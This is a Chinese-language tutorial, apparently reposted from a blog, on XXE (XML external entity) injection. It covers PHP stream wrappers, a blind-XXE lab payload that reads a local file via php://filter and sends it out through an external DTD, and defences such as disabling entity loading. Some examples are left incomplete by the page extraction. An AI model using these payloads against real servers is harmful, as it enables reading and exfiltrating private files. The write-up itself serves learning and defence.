文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

XML注入学习

2023-09-07 10:01

关注

一、什么是XML注入

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
简单来说xml就是用来存储数据的。

二、XML的特点

XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)

三、XML的定义

首先是XML声明,然后是DTD部分 >

如下图

]>&entityex;

什么是XML注入

XML注入又叫XXE攻击,全称为XML External Entity,从安全的角度来理解,可以叫做XML外部实体攻击。在XML实体中,关键字‘’system‘’可以让XML解析器从URL中读取内容,并允许他在XML文档中被替换,因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现, 就是攻击者强制XML解析器去访问攻击者指定的资源内容(可以是系统上本地文件也可以是远程系统上的文件)

XEE扩展

外部引用可支持http,file等协议,不同的语言支持的协议不同,但是存在一些通用的协议,具体内容如下在这里插入图片描述使用的条件:
flie://协议在双off的情况下也是可以正常使用的
allow_url_fopen: off/on
allow-url_fopen: off/on
flie:// 用于访问本地文件系统,在CTF中常用来读取本地文件
使用方法:file://文件的绝对路径和文件名

php://协议不需要开启allow_url_fopen
php://input、php://stdin、php://memory和php://temp需要开启allow_url_include

php://filter 用于读取源码且在双off的情况下也能正常使用
Eg:http://127.0.0.1/cmd.php?flie=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行
allow_url_fopen:off/on
allow_url_include:on
Eg: http://127.0.0.1/cmd.php?flie=php://input
[POST DATA]

XXE漏洞原理

大体有四种方式:
1.simplexml_load_string()函数造成的回显注入
2.SimpleXMLElement()对象造成的回显注入
3.DOMDocument()类造成的回显注入
4.BlindXXE形式==>>也是由simplexml_load_string()函数造成的无回显注入

靶场实现

无回显注入 需要引用外部实体,下面是我搭建的靶场,在一个php文件下发现有simplexml_load_string函数
HTTP_RAW_POST_DATA是我们要传的参数,simplexml_load_string函数将形式良好的XML字符串转换为SimpleXMLElement对象,如下图所示
在这里插入图片描述向POST请求传参playload

$test =<<<EOF<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:\phpstudy_pro\WWW\925\a.txt"><!ENTITY % remote SYSTEM "http://127.0.0.1/925/1.xml"> %remote;%send; ]>

引用1.xml,1.xml会将读取的文件发给2.php,2.php会把读取的内容保存在3.txt.这样就成功读取了我们想要读取的文件。在这里插入图片描述2.php

漏洞防御方法

需要条件

程序允许引入外部实体
2.用户可以控制输入

方案一、使用开发语言提供的禁用外部实体的方法
PHP: libxml_ disable_ entity_ loader(true);
其他语言:
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.)FEATURE_SECURE_PROCESSING,true);
方案二、过滤用户提交的XML数据 关键词:,SYSTEM和PUBLIC.

来源地址:https://blog.csdn.net/xujunhui222/article/details/122846459

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯